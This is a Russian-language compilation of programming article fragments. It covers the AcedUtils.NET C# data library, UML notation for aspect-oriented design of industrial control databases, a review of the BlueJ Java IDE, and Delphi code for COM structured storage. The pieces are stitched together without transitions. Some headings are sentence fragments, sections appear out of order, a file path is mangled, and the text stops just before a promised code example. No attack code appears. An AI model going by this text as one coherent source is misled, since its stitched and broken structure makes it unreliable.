    Метод PutData() ассоциирует экземпляр класса AcedStreamWriter с переданным в нее потоком типа Stream. При этом указывается, что сохраняемые данные должны сжиматься в режиме Fast и шифроваться с ключом, который передается как последний параметр в функцию AssignStream(). Затем данные помещаются в поток с помощью методов класса AcedStreamWriter. Последним вызываемым методом является Close(), которые помещает в поток все буферизованные изменения. После выхода из PutData() заполненный бинарный поток типа MemoryStream превращается в массив байт, а его размер в байтах выводится в окне сообщения. Следующим этапом работы функции TestStreams() является загрузка данных из потока MemoryStream, созданного на основе полученного массива байт. Чтение данные выполняется методом GetData() с помощью экземпляра класса AcedStreamReader, ассоциированного с потоком типа System.IO.Stream (в данном случае MemoryStream). Если в параметре useAcedStreams функции TestStreams() передано значение True, в качестве хранилища данных вместо MemoryStream используется экземпляр класса AcedMemoryWriter. Так как метод PutData() работает только с потоками типа System.IO.Stream, необходимо создать класс-оболочку AcedWriterStream, который является потомком класса System.IO.Stream и в то же время инкапсулирует экземпляр класса AcedMemoryWriter. Ссылка на класс-оболочку передается в метод PutData(), и через него данные записываются в поток AcedMemoryWriter. В завершении, данные из AcedMemoryWriter превращаются в массив байт вызовом функции ToArray() аналогично предыдущему случаю. На этапе чтения данных в качестве хранилища выступает экземпляр класса AcedMemoryReader, который создается на основе полученного массива байт. Так как метод GetData() загружает данные только из потоков типа System.IO.Stream, создается класс-оболочка AcedReaderStream на основе экземпляра AcedMemoryReader. Ссылка на AcedReaderStream передается в метод GetData(). Таким образом, данные считываются из потока типа AcedMemoryReader посредством класса-оболочки AcedReaderStream, являющегося потомком класса System.IO.Stream.

    NET было стремление создать классы

    Основной целью разработки AcedUtils. NET было стремление создать классы для эффективного выполнения основных операций с данными, включая сжатие, шифрование, работу с бинарным потоком. Весь код библиотеки написан на языке C# и максимально оптимизирован по быстродействию. Библиотека AcedUtils.NET содержит следующие классы, принадлежащие пространству имен AcedUtils:
  • AcedBinary – содержит статические методы и функции для работы с бинарными данными, в том числе для вычисления контрольной суммы Адлера, для копирования массивов байт и работы с массивами чисел типа Int32.
  • AcedRipeMD – используется для вычисления значения односторонней хеш-функции RipeMD-160 массива байт или строки символов. Включает методы для копирования и сравнения цифровой сигнатуры, преобразования ее в значение типа Guid, очистки массива, содержащего цифровую сигнатуру.
  • AcedCast5 – предназначен для шифрования и дешифрования массива байт методом CAST-128 в режиме CFB (64 бита). Блочный алгоритм шифрования реализован в соответствии с RFC 2144. Алгоритм отличается высоким быстродействием и надежностью.
  • AcedDeflator, AcedInflator – используются для сжатия и распаковки массива байт с помощью алгоритма LZ+Huffman.
  • AcedMemoryReader, AcedMemoryWriter – предназначены для помещения данных в бинарный поток и чтения из потока. При использовании этих классов бинарный поток представляется массивом типа byte[], размер которого динамически увеличивается по мере добавления новых данных. При этом сами данные могут быть упакованы с применением оригинального алгоритма сжатия, зашифрованы методом CAST-128 и защищены значением цифровой сигнатуры RipeMD-160.
  • AcedStreamReader, AcedStreamWriter – предназначены для помещения данных в бинарный поток и чтения данных из потока. Здесь, в отличие от классов AcedMemoryReader и AcedMemoryWriter, размер бинарного потока не ограничивается объемом оперативной памяти. Данные помещаются в поток и читаются из потока типа System.IO.Stream, который ассоциируется, соответственно, с экземпляром класса AcedStreamWriter или AcedStreamReader.
  • AcedReaderStream, AcedWriterStream – классы-оболочки, позволяющие работать с перечисленными выше классами бинарных потоков так, как будто они являются потомками класса System.IO.Stream.
  • AcedRegistry – объединяет методы для сохранения в реестре Windows значений различного типа, в том числе, строк, массивов байт, значений типа Boolean, DateTime, Decimal, Double и т.д. Кроме того, в AcedRegistry находятся методы для чтения соответствующих значений из реестра Windows.
  • Рассмотрим подробнее каждый из перечисленных классов.

    Средства разработки приложений

    Базы данных ДП АСУТП и задачи управления информационными потоками

    Большинство СУБД ДП АСУТП используют модели набора сущностей или иерархическую, а не распространенную в остальных классах систем хранения данных реляционную [1]. Это связано с более высоким быстродействием выборки данных, простотой программной реализации, возможностью отразить в иерархии групп данных структуру автоматизируемого производства, наличием методов относительной адресации. При использовании модели набора сущностей область хранения данных организована линейно, но производится упорядочивание объектов с использованием методов наименования, а логические взаимосвязи между ними с необходимостью приводят к построению некоторого графа. Исходя из этого, в данной работе рассматривается класс так называемых объектно-иерархических СУБД, предоставляющих механизмы упорядочивания хранимых объектов и программный интерфейс манипулирования ими.
    База данных ДП АСУТП является как приемником, запрашивающим данные от внешних систем, так и их пассивным источником и таким образом выполняет роль маршрутизатора информационных потоков от систем автоматики и телемеханики к графическим приложениям, системам коммерческого учета и планирования производства, экспертным системам. При этом возникают общие для систем хранения и обработки данных задачи: выполнение функциональных операций; поддержание целостности и эквивалентности реплик данных; а также специализированные – взаимодействие с подсистемой информационного обмена и т.п.

    Обзор методов моделирования аспектов

    Как отмечают авторы [16], в то время как существует поддерживающий АО- концепции язык программирования AspectJ [5], отсутствует реализованный язык моделирования, поддерживающий проектирование AspectJ-программ. Предложениям по разработке подобного языка посвящено большое количество работ, представленных на различных конференциях в 1998-2002 гг.
    Подавляющее большинство исследователей предлагают основываться на существующем стандарте UML [2] и применить существующие в нем механизмы расширения графической нотации сущностей и отношений (стереотипы, ограничения, помеченные значения) для описания дополнительных концепций AO-проектирования.
    Так, в работе [15] предлагается ввести три новых концепции: группы (для целей классификации гетерогенных и распределенных сущностей), пересекающие отношения (позволяющие программисту определить “точки пересечения” аспекта с функциональной программой), аспектные классы (реализующие расширения программы в точках пересечения). Графически это предполагает использование имеющихся в UML элементов: классов и ассоциаций с добавлением стереотипов “group”, “pointcut”, “aspect”. Для методов аспектного класса вводятся стереотипы “before”, “after”, “around”, описывающие момент их вызова по отношению к вызову “пересекаемых” функций, а также предлагается набор правил определения и интерпретации семантики ролей и кратностей для пересекающих отношений.
    В [12] рассматривается выделение аспектов в программной системе. Примеры диаграмм в этой работе похожи на приводимые в [15]: аспект рассматривается как диспетчер взаимодействия двух взаимозависимых классов и других, предоставляющих некоторую функциональность. Но, в отличие от [15], в модель явно вводится понятие “точки пересечения”, которую предлагается моделировать как вариант класса, а не как вариант ассоциации, более подробно рассмотрены “точки соединения” – места взаимодействия с аспектом, прерывания/возобновления выполнения основной программы. “Точки соединения могут быть объединены для построения интерфейса аспекта, также как множество интерфейсов в UML могут быть объединены в форму интерфейса класса”.
    Вводится понятие парных (conjugated) точек соединения, в которых происходит вызов методов с одинаковыми сигнатурами, но направления потока управления противоположны (в которых управление передается аспекту и возвращается им).

    С. Кларк и Р. Уолкер предлагают свой вариант нотации [8] для описания аспектов средствами UML. Они предлагают использовать параметризируемые пакеты (что само по себе является непредусмотренным расширением UML) со стереотипом “subject”, поскольку в принципе рассматривают аспекты как элементы субъектно-ориентированного проекта. Внутри пакета могут быть размещены диаграммы классов и взаимодействия, что позволяет графически показать поведение программы после связывания. Такой пакет является в терминологии авторов “композиционным шаблоном”. При этом, “параметризируя проектный субъект и обеспечивая механизм для привязки этих параметров к элементам модели в других проектных субъектах, мы можем определить композицию пересекающего поведения с основным проектом способом, допускающим повторное использование”. Предлагаемая семантика (отношение композиции, расширяемое строкой bind) оперирует классами и методами связываемых субъектов.

    В [16] авторы рассматривают моделирование “пересекающих эффектов” отдельно в структуре типов и в поведении некоторой системы. Оригинальность их подхода заключается в предложении использовать параметризируемые, помеченные стереотипом “introduction” кооперации для определении свойств (атрибутов, операций) и отношений каждого из “пересечений” аспектных и обычных классов. Параметр кооперации используется для определения правил связывания (фактически – инстанцирования кооперации и ее встраивания в существующую систему классов). Помимо этих коопераций, в аспектных классах вводятся, независимо от методов, элементы со стереотипами “pointcut” и “advice”: “точки пересечения” и “извещения”, определяющие пересечение логики аспекта и программной системы, и вводящие механизм перехвата управления. Предложенная нотация базируется на концепциях языка AspectJ, но является излишне усложненной.


    Разработчики UML указывают, что “ На практике для именования класса используют одно или несколько коротких существительных, взятых из словаря моделируемой системы” [2]. Аналогично, в большинстве рассмотренных работ имя аспектного класса является наречием и показывает выполняемую операцию.

    Помимо рассмотренных выше четырех работ, предлагающих проработанные, готовые к практическому применению графические нотации, доступно большое количество статей теоретической направленности. Так, в [4] делается попытка формализовать использование средств расширений UML для специфицирования понятий АО-методологии. Для этого используется понятие “профиля” UML – механизма, позволяющего описать правила использования средств расширения языка в некоторой предметной области. Расширяя метамодель UML, авторы определяют набор стереотипов и их приложение к таким элементам метамодели, как класс и ассоциация. Авторы [17] также предлагают расширить метамодель UML для описания аспектных классов и отношений, но основной акцент сделан на предложении основанного на правилах XML языка разметки для описания проектных моделей, в частности, содержащих аспекты. Выгоды его введения обосновываются необходимостью наличия “нейтрального по отношению к приложениям формата” для коммуникации между разработчиками, облегчением повторного использования описаний аспектов, а также их разделением между различными средствами проектирования, связывания, кодогенерации. Комплексным подходом отличается статья известных разработчиков из IBM У. Харрисона, П. Терра и Г. Оссхера [9], в которой они рассматривают способы, какими информация об аспектах может быть отражена на различных диаграммах UML. Здесь же следует упомянуть работы С. Кларк [6,7], в которых она “представляет подход к разработке систем, базирующийся на объектно-ориентированной модели, но расширяющий ее добавлением новых возможностей декомпозиции”. В докладе [10] представлен прототип автоматизированного средства для преобразования высокоуровневых моделей UML, поддерживающих абстракции АОП, к низкоуровневым детализированным моделям, по которым может быть сгенерирован программный код, т.е.предложено проводить связывание на уровне моделей.

    Целью следующей части настоящей статьи является дать представление о применимости АО-методов в обработке информационных потоков в объектно-ориентированной среде, вариантом реализации которой является объектная (объектно-иерархическая) база данных программного комплекса диспетчерского пункта (ДП) АСУТП. При составлении диаграмм мы будем придерживаться нотации, предложенной в [15].

    Реализация функциональных операций

    Простейший случай использования аспекта – реализация некоторого функционального требования, необходимого разным (не имеющим общего базового) классам. В этом случае аспект становится похож на статический класс-утилиту (utility class), с более четко формализованным в проекте правилом его использования.
    Для примера рассмотрим класс, хранящий некоторое значение и его метку времени, имеющий два полиморфных метода записи нового значения: один с передаваемой меткой времени, другой – без нее. Тогда в случае, когда метка времени не передана, необходимо определить текущее время системы и записать его. Для этих целей введем аспектный класс TimeStamping. Его можно показать на диаграмме классов (рис. 1а), при этом мы показываем связанность аспекта не с одним, а с группой классов, объединяет которые в данном случае только необходимость получения значения текущего времени. То, что в принятой нотации группа моделируется как вариант класса, а не пакета UML, позволяет указать для нее методы, подразумевая, что они присутствуют во всех классах, составляющих группу. (Здесь и далее мы задаем имя группы Signal, подчеркивая, что оперируем с множеством классов, хранящих значение некоторого аналогового, дискретного, логического измерения; единицу справочной информации или производную от этих значений величину). Диаграмма взаимодействия (рис. 1б) показывает последовательность выполняемых операций после выполнения связывания (генерации программного кода). При вызове метода SetValue(value) происходит “пересечение”; мы показываем это тем, что на “линии жизни” объекта класса Signal не отмечен фокус управления, который сначала переходит экземпляру аспектного класса, и только потом возвращается им.
    Реализация функциональных операций Рис. 1. Реализация функциональных операций аспектным классом.
    Другой пример связывания некоторого аспекта с каждым из некоторого набора объектов в индивидуальности – необходимость отслеживать факт изменения хранимого значения. Перехват вызова метода записи нового значения позволяет установить флаг наличия изменения. Программе-серверу, обрабатывающему запросы внешних систем на получение измененных данных, достаточно будет анализировать состояние данного флага, а не выполнять сравнения хранимых копий предыдущих переданных значений с текущими.

    Синхронизация расчетов и изменений

    В базах данных ДП АСУТП часто выполняемой операцией является расчет агрегированных значений; например, определение максимального значения из множества или расчет мгновенного расхода жидкости или газа, используя оперативные данные о давлении, его перепаде на диафрагме и температуре, а также ряд заданных нормативных поправочных коэффициентов. В модели мы можем отобразить это, установив ассоциацию один-ко-многим (часто соответствующей отношению контейнер-элемент) и использовав класс-ассоциацию Multiplexer (в который заложена логика преобразования нескольких исходных значений в одно производное). Объекты-элементы являются источниками данных для своего контейнера, в свою очередь, некоторая подсистема опроса систем автоматики является источником оперативных данных для них самих. Эти взаимосвязи можно показать, используя диаграмму классов UML (см. рис. 2).
    Синхронизация расчетов и изменений Рис. 2. Типовые отношения классов БД ДП АСУТП.
    В системе, управляемой событиями, при изменении хотя бы одного из значений, участвующих в расчете результата и хранящихся в объектах-элементах, должен происходить пересчет формулы и запись нового расчетного значения в объект-контейнер. Рассмотрим для примера расчет некоторого состояния по двум исходным логическим сигналам “открыт”, “закрыт” (см. рис. 3).
    Синхронизация расчетов и изменений Рис. 3. Вариант алгоритма перерасчета агрегированного значения.
    В рассмотренном алгоритме есть упущение – перерасчет результата происходит при поступлении первого же из изменений. В случае, когда произошло изменение обоих значений, выполнение промежуточного расчета формулы агрегирования с использованием одного нового и одного устаревшего значения избыточно, и, скорее всего, ошибочно. При этом мы не можем заранее утверждать, что всегда при поступлении нового значения одного из сигналов поступает и новое значение другого. Т.о., мы приходим к требованию отслеживать режим поступления обновлений. Для решения этой задачи можно предложить блокировать источником данных передачу сообщений об изменении значений в объектах-элементах на период записи всего множества поступивших обновленных значений.
    Тогда события об изменении поступят в класс-контейнер после записи обеих новых значений и расчет будет выполнен два раза, но с актуальными данными. (Будучи уверенным, что при поступлении первого же из извещений актуальны оба значения, можно сократить количество перерасчетов до одного).

    Однако проблема остается, если источник данных – не один объект, а множество, и на диаграмме мы рассматриваем связь “многие-ко-многим”. (Задача часто возникает при реализации субъектно-ориентированного подхода к проектированию базы данных ДП АСУТП, при котором вводится множество классов, содержащих наборы нормативно-справочных данных, описывающие один и тот же производственный объект при различных точках зрения (принципах декомпозиции предметной области), но которым требуется разделять оперативные данные о его состоянии). Передача (копирование) данных из источников получателям приводит к необходимости поддержания целостности.

    Здесь мы приходим к классической ситуации введения аспекта – реализация в отдельном классе-источнике или получателе данных алгоритма отслеживания взаимодействия других пар объектов и синхронизации с ними исключительно затруднена. Цель – обеспечить синхронизацию обновления данных; желаемое поведение аспекта – реализовать “конвейерную передачу” обновлений по уровням иерархии и между поддеревьями БД.

    Синхронизация расчетов и изменений Рис. 4. Введение аспекта TransferSynchronizing для управления передачей данных.

    Сначала определим “точку пересечения”. Она одна – аспект перехватывает управление при попытке выполнения каким-либо из объектов-источников записи одного или нескольких новых значений; блокирует обработку новых значений в объектах-получателях, дает завершиться перехваченным методам SetValue(…), после чего ожидает в течение заданного интервала времени выполнения аналогичных действий другими объектами-источниками (см. рис. 4). По истечении времени ожидания происходит разблокирование всех объектов-получателей, в которые были записаны новые значения. Данная логика показана на рис. 5; отношение “многие-ко-многим” классов-источников и получателей данных рассматривается как множество отношений “один-ко-многим” их экземпляров. (Мы рассматриваем множества объектов – экземпляров некоторых классов, объединенные в две группы по их роли в частном информационном взаимодействии: источников и получателей данных; стереотипы “source” и “receiver” являются производными от базового “group”.


    Имена групп ( при отличии стереотипа) совпадают, что подчеркивает единообразие входящих в них классов).

    Синхронизация расчетов и изменений Рис. 5. Выполнение передачи данных при введенном аспекте TransferSynchronizing.

    Отметим, что не требуется вводить точку пересечения с классом-получателем данных, поскольку нет необходимости перехватывать все выполняемые вызовы изменения данных в нем, а также использование стереотипа “around” для метода OnSetValue() аспектного класса: часть служебных операций выполняется до исполнения вызова SetValue(…), часть – после. Предложенное решение все еще содержит ряд недостатков: объект-источник зависим от реализации объекта-получателя; введение периодов ожидания плохо согласуется с событийной моделью; объект-получатель должен проверять попадание разности нового и предыдущего значений в “зону нечувствительности”; его структура усложняется средствами поддержки блокировок. Можно предложить вариант, свободный и от данных недостатков.

    Для этого определим, что у каждой группы есть менеджер – экземпляр аспектного класса, выполняющий контракты каждого из классов группы, в т.ч. и вызов метода SetValue(…) для записи измененного значения в класс-получатель. Это позволяет также выполнять операции блокирования/разблокирования только по отношению к этому аспектному классу. На него же может быть переложено выполнение проверки “существенности” отличия нового значения от текущего в объекте. Тогда желаемое поведение, реализующее транзакционный подход к передаче массива данных, можно отобразить в виде :диаграммы (см. рис. 6). (На диаграмме показано взаимодействие только двух групп, хотя, разумеется, объекты и даже единственный объект группы-источника может являться записывать данные в несколько объектов, в т.ч. принадлежащих различным группам.) Поскольку, как отмечалось выше, каждая из групп может играть роль как источника, так и получателя данных, то на диаграмме классов достаточно показать связь аспекта и одной группы (см. рис. 7а).

    Диаграмма, показывающая внутреннюю логику аспекта при разблокировании, приведена на рис. 7б.Отметим, что возможно одновременная блокировка группы несколькими менеджерами групп-источников: запись различных данных в один и тот же объект в любом случае не имеет смысла, а одновременная запись значений в различные объекты заблокированной группы несколькими источниками не приводит ни к каким отрицательным последствиям.

    Синхронизация расчетов и изменений Рис. 6. Выполнение передачи данных при введенном аспекте GroupManager.

    Синхронизация расчетов и изменений Рис. 7. Структура и внутренняя логика аспектного класса GroupManager.

    Сущность аспектно-ориентированного программирования

    Методы объектно-ориентированного анализа и проектирования позволяют создать модель (архитектуру) информационной системы; провести анализ и создать на его основе модель предметной области. Типизации проектных решений служит широко распространенная концепция шаблонов, эффективные методы анализа и проектирования могут быть оформлены как стратегии.
    Однако при разработке программной системы требуется также обеспечить выполнение различных требований к ней. Это могут быть требования к безопасности (необходимость авторизации при проведении транзакций клиент-сервер), качеству обслуживания, синхронизации операций чтения/записи и обеспечению целостности данных и др.
    Ранее для специфицирования необходимости обеспечения некоторым классом определенных требований было введено понятие контракта [14]. Однако поддержка любого требования, не относящегося к сущности, описываемой классом, усложняет его структуру, более того, существует ряд требований, общих для многих различных классов или не являющихся функциональными, реализация которых в отдельных классах исключительно затруднена (такие требования называют “пересекающими” (crosscutting)). Требуется введение некоторого дополнительного программного “слоя”, на который было бы возложено выполнение “контрактных обязательств” классов, абстрагирующих сущности предметной области.
    Для этого в 1997 г. группой разработчиков из Xerox PARC во главе с Г. Кикзалесом была предложена концепция аспектно-ориентированного программирования (АОП) [13]. Ими было явно введено понятие аспекта, которым является то свойство системы, которое не может быть явно реализовано в виде процедуры. “Аспекты имеют тенденцию не быть элементами функциональной декомпозиции системы, но скорее быть свойствами, которые системно воздействуют на производительность или семантику компонентов”. В этом аспекты противоположны компонентам, “имеющим тенденцию быть единицами функциональной декомпозиции системы”. Цель АОП – “поддержать программиста в четком разделении компонентов и аспектов друг от друга, обеспечивая механизмы, которые сделают возможным абстрагировать их и объединять для получения системы в целом”. (На русском языке концепции и преимущества АОП описаны в [3]).

    В работе [11] рассматривается переход от контрактного проектирования к использованию аспектов. Имея в виду под словом “контракт” “спецификацию ограничений, которые должны быть соблюдены некоторой сущностью, запрашивающей услугу от другой сущности”, авторы указывают, что “обычно части проекта, которые реализуют определенный контракт, “рассеяны” (scattered) по всему проекту”. На те же проблемы “рассеивания”, а также на “запутывание” (tangling) структуры классов вследствие необходимости реализации в них механизмов поддержки требований, не связанных с описываемыми ими абстракциями, указывали С. Кларк и Р. Уолкер [8], подчеркивая, что “рассеивание и запутывание имеют негативное влияние на жизненный цикл разработки, с точек зрения возможностей понимания, отладки, развития, повторного использования” (классов и архитектуры системы в целом).
    Неотъемлемой частью среды разработки, поддерживающей АО-парадигму, также является инструмент “связывания” (weaving), выполняющий генерацию результирующего программного кода (на этапе компиляции или даже во время выполнения) из двух, в общем случае независимых, проектов: реализующих функциональные требования и вынесенную в аспекты логику.
    Для успешного применения любой техники программирования требуется не только ее поддержка языком программирования, но и возможность формализации принятых решений на этапе проектирования. Из этого следует необходимость наличия как минимум графической нотации для записи моделей, как максимум – методологии, формализующей процесс проектирования, и поддержки новой технологии в CASE-средствах разработки.

    Взаимодействие с подсистемой информационного обмена

    Взаимодействие “объект БД – модуль информационного обмена с внешними системами (далее – сканирования)” в ряде баз данных ДП АСУТП настраивается с использованием “списка сигналов”: в табличной форме объединяются индивидуальные параметры опроса каждого сигнала (тип данных, адрес в контроллере, периоды периодических опросов значений и изменений и т.п.). В других системах данная параметрическая информация сохраняется в самом объекте БД. Оба этих подхода обладают тем недостатком, что не используют естественно напрашивающую предположение об одинаковости параметров (коммуникационных, преобразования “сырых” данных) для однотипных объектов БД, т.е. экземпляров одного класса. Поэтому в данном случае аспектный класс используется как расширитель структуры класса БД (это отмечено отношением зависимости со стереотипом “extend”): он содержит таблицы соответствий класса и параметров сканирования, класса и правил преобразования полученных данных, а также список соответствий индивидуальных объектов и адресов во внешней системе (или правила получения адресов по имени объектов).
    С другой стороны, от различных модулей сканирования требуется обеспечивать однотипное поведение при определенных событиях; например, качество значений всех объектов БД, получающих данные от внешней системы, с которой потеряна связь, должно быть установлено в “недостоверное”. Аспектный класс “пересекает” операции модуля сканирования, результаты которых влияют на прочие объекты БД, и реализует единообразную логику для различных приложений информационного обмена.

    во многих ИСР под визуализацией

    Например, во многих ИСР под визуализацией разработки подразумевается возможность разработчика поместить на экране кнопки или другие объекты, но ни одна из существующих сред не позволяет наблюдать иерархию классов приложения в виде графа, со связями, отображающими наследование. Изобилие же инструментальных средств в профессиональных средах тоже лишь отвлекает внимание, занимая пространство на экране. А это, по мнению разработчиков BlueJ, еще хуже, так как заставляет программиста мыслить не категориями ООП, а последовательностью строк кода, которая свойственна традиционному процедурному программированию, и щелчками мышкой для достижения нужного результата. К сожалению, проблемы не ограничиваются оболочками. В самом языке тоже есть несколько «узких мест», трудных для понимания новичка, например сигнатура метода

    main:

    public static void main (String[] argv);

    В этой сигнатуре заложены сразу несколько понятий: статический метод, возвращаемый тип void, массив. Все это приводит к тому, что в самом начале обучения, когда студент еще ничего не знает о классах, методах, переменных, циклах и т. п. для наглядной демонстрации простейшего присвоения значения переменной необходимо создать хотя бы каркас c методом main. Преподавателю не остается ничего лучшего, как предложить аудитории поверить ему на слово, что этот метод должен быть объявлен так, а не иначе, так как при использовании стандартных ИСР нет возможности выполнить часть кода, не создав всего скелета класса.

    Итак, существующие решения оказываются не вполне удовлетворительными: у J2SDK нет интерактивной оболочки, а большинству ИСР не хватает конструктивных решений.

    В BlueJ все эти проблемы решены, и вот как это сделано.

    Окно менеджера проекта состоит из вертикальной панели инструментов, расположенной слева, графа классов в центре и панели объектов внизу.

    Приятно отметить, что окно менеджера проекта упрощено до предела и содержит только необходимые элементы. На мой взгляд, авторам удалось очень оригинально и остроумно продемонстрировать графически работу виртуальной машины (ВМ), отобразив ее в правом нижнем углу окна в виде спирали, напоминающей винт Архимеда (во время работы ВМ она движется и меняет цвет).
    У этого «винта» есть и другое назначение: если дважды щелкнуть на нем при запущенном потоке, поток (и винт) остановится, и запустится отладчик. Это очень удобно при отладке «долгоиграющих» процессов и особенно при попадании в бесконечный цикл.

    Классы проекта отображаются в виде прямоугольников и связей между ними. Цвет и штриховка прямоугольника указывают на состояние, в котором находится класс - модифицирован, откомпилирован или находится в стадии компиляции,- а вид стрелок -- на тип связи. Например, штриховка класса Student означает, что класс был модифицирован, а более темный фон класса Person - что в данный момент идет компиляция этого класса. Такой подход позволяет постоянно контролировать все, что происходит в BlueJ.

    Для того чтобы приступить к редактированию класса, нужно дважды щелкнуть на соответствующем ему прямоугольнике, а по щелчку правой кнопкой мыши открывается контекстное меню, позволяющее создать экземпляр класса или выполнить один из его статических методов. Все это можно проделать независимо от того, готов ли весь класс полностью или только этот метод.

    Если же создать экземпляр класса и поместить его на панель объектов, появляется возможность выполнять все нестатические методы объекта. Для этого необходимо вызвать один из конструкторов, например new Staff(). Таким образом, мы получаем возможность, создав метод и откомпилировав класс, сразу же проверить работоспособность этого участка кода.

    В BlueJ есть набор шаблонов, позволяющих быстро создать «скелет» интерфейса, класса или аплета, а графические инструменты менеджера проекта позволяют добавить наследование простым «перетаскиванием» стрелок от одного класса к другому.

    Окно отладчика содержит традиционный набор средств и, как отмечают авторы BlueJ, требует для ознакомления не более 15 минут, даже если пользователь совершенно незнаком с программированием.

    Интересную возможность контролировать состояние объекта предоставляет команда Inspect из контекстного меню объекта. Она позволяет просматривать состояние полей объекта так же, как это делается в отладчике.


    В состав BlueJ входят менеджер проекта, текстовый редактор и отладчик. Компилятор, виртуальная машина и некоторые другие средства «позаимствованы» у J2SDK. Кроме того, не забывайте: BlueJ - бесплатная, платформо-независимая среда. Проект постоянно совершенствуется. На момент написания этой статьи была доступна версия 1.1.3 (http://www.bluej.org/download/download.html).

    Несмотря на то, что BlueJ использует многие инструменты из набора J2SDK, это среда с графическим интерфейсом. Так, например, интерактивный вызов директивы Tools ? Project Documentation приводит к созданию пакета документации в стиле Sun. Естественно, в любой момент можно открыть окно терминала или сеанса MS-DOS, в зависимости от платформы, и выполнить то же самое из командной строки.

    Но и это еще не все. В настоящий момент разработчики сделали доступными исходные коды текстового редактора, а на сайте www.bluej.org ведется обсуждение нововведений. Так что у каждого есть возможность не только ознакомиться с исходными текстами, но и внести свою лепту в развитие BlueJ. А если вы серьезно заинтересовались разработкой, можете подписаться на рассылку новостей.

    Конечно, у BlueJ есть свои проблемы. И целый список обнаруженных ошибок (а где их нет!). Так, например, в последней версии возникли проблемы с отладкой метода main.

    Однако, учитывая масштабность проекта, его свободное распространение, а также доступность J2SDK (http://www.java.sun.com) и возможность установки среды на различные операционные системы, включая Linux, BlueJ вполне может составить конкуренцию многим ИСР. При этом, на мой взгляд, она подходит не только для начинающего, но и для профессионала, благодаря своей интеграции с J2SDK и полному набору инструментальных средств.

    В заключение хочется добавить, что в настоящий момент на сайте BlueJ появилась русская версия руководства пользователя, а в ближайшее время появится полностью русифицированный интерфейс оболочки. Кроме того, хочется обратить внимание преподавателей наших ВУЗов на то, что в сочетании с Linux BlueJ позволяет создать полностью легальную среду разработки межплатформенных приложений.А это реальная возможность, во-первых, уйти от пиратских копий Turbo Pascal, на которых построено обучение в большинстве институтов, а во-вторых, использовать самые современные технологии для разработки веб-приложений в учебном процессе.


    Средства разработки приложений

    Чтение

    Чтение данных из хранилища производится так же, как и чтение из стандартного потока Delphi. Все, что для этого требуется, это создать объект TOleStream с использованием возвращаемого функцией IStorage.OpenStorage значения stm:
    procedure TForm1.Button2Click (Sender: TObject); var Stg:IStorage; Strm:IStream; OS:TOleStream; S:String; begin OleCheck (StgOpenStorage ('Testing.stg',nil,STGM_READWRITE or STGM_SHARE_EXCLUSIVE, nil,0,Stg)); OleCheck (Stg.OpenStream ('Testing',0,STGM_READWRITE or STGM_SHARE_EXCLUSIVE,0,Strm)); OS:=TOleStream.Create (Strm); try SetLength (S,OS.Size); OS.ReadBuffer (Pointer (S)^,OS.Size); Edit1.Text:=S; finally OS.free; Strm:=nil; Stg:=nil; end; end; После выполнения этого кода мы увидим в Edit1ранее записанное нами: "This is the test".

    Исследование хранилищ

    Хорошо… мы создали хранилище, записали в него данные и прочитали их. Но мы сделали это, ЗНАЯ имя потока, в котором записаны наши данные. Но как быть, если мы не знаем структуры хранилища? Для этого в интерфейсе IStorage предусмотрен механизм перечисления элементов хранилища - он содержится в интерфейсе IEnumStatStg (указатель на который возвращается функцией IStorage.EnumElements):
    function EnumElements (reserved1: Longint; reserved2: Pointer; reserved3: Longint;out enm: IEnumStatStg): HResult; stdcall;
    Употребление этой функции происходит так:
    OleCheck (Stg.EnumElements (0,nil,0,Enum)); После этого используем только методы интерфейса IenumStatStg (Next, Skip, Reset, Close). Самым важным из этих методов на данный момент является для нас метод Next:
    Next (celt:Longint; out elt; pceltFetched: PLongint): HResult; stdcall;
    Он может принимать следующие параметры:
  • Celt - количество элементов структуры, которое будет извлечено при его вызове;
  • Elt - массив-приемник элементов типа TstatStg;
  • PceltFetched - указатель на переменную, в которую будет записано действительное количество извлеченных элементов.
  • Для примера воспользуемся любым doc-файлом и перечислим его элементы:
    procedure TForm1.Button2Click (Sender: TObject); var Stg:IStorage; Enum:IEnumStatStg; Data:TStatStg; begin OleCheck (StgOpenStorage ('D:.doc',nil,STGM_READWRITE or STGM_SHARE_EXCLUSIVE,nil,0,Stg)); OleCheck (Stg.EnumElements (0,nil,0,Enum)); try While Enum.Next (1,Data,nil)=S_Ok do ListBox1.Items.Add (Format ('%s (%d)',[Data.pwcsName,Data.cbSize])); finally Stg:=nil; Enum:=nil; end; end; Структура TStatStg содержит, помимо pwcsName и cbSize, следующие поля:
    pwcsName: POleStr; название потока или хранилища
    dwType: Longint; тип элемента (флаги типа STGTY_*)
    cbSize: Largeint; размер конкретного элемента
    mtime,ctime,atime: TFileTime; дата модификации, создания, последнего доступа
    grfMode: Longint; флаг доступа
    grfLocksSupported: Longint; не используется в хранилищах
    clsid: TCLSID; идентификатор класса хранилища
    grfStateBits: Longint; статусные биты
    reserved: Longint; зарезервирован
    Описанные интерфейсы и методы помогут вам не только использовать уже существующие COM-хранилища (такие как документы MS Office), но и создавать собственные,- благодаря чему ваши данные будут храниться в компактном и согласованном виде.

    Когда хранилище открыто…

    Рассмотрим более подробно методы интерфейса IStorage.
    Создание потока - IStorage.CreateStream.
    function CreateStream (pwcsName: POleStr; grfMode: Longint; reserved1: Longint;reserved2: Longint; out stm: IStream): HResult; stdcall;
    Открытие потока - IStorage.OpenStream:
    function OpenStream (pwcsName: POleStr; reserved1: Pointer; grfMode: Longint;reserved2: Longint; out stm: IStream): HResult; stdcall;
    параметры:
  • pwcsName - название потока;
  • grfMode - флаги доступа;
  • reserved1, reserved2 - соответственно;
  • stm - указатель на созданный поток.
  • Можем приступать к чтению (записи) данных из (в) потоков посредством интерфейсов IStream. Тут можно заметить до боли знакомые методы работы с потоками: Read, Write, Seek… - а если так, то почему бы не перевести эти методы в более простую и понятную объектную форму? Для этого воспользуемся наработками Borland, собранными в модуле AxCtrls.pas (точнее - классом TOleStream, который интерпретирует вызовы методов интерфейса IStream в соответствующие методы класса Tstream).
    А чтоб не быть голословным - приведу небольшой пример:
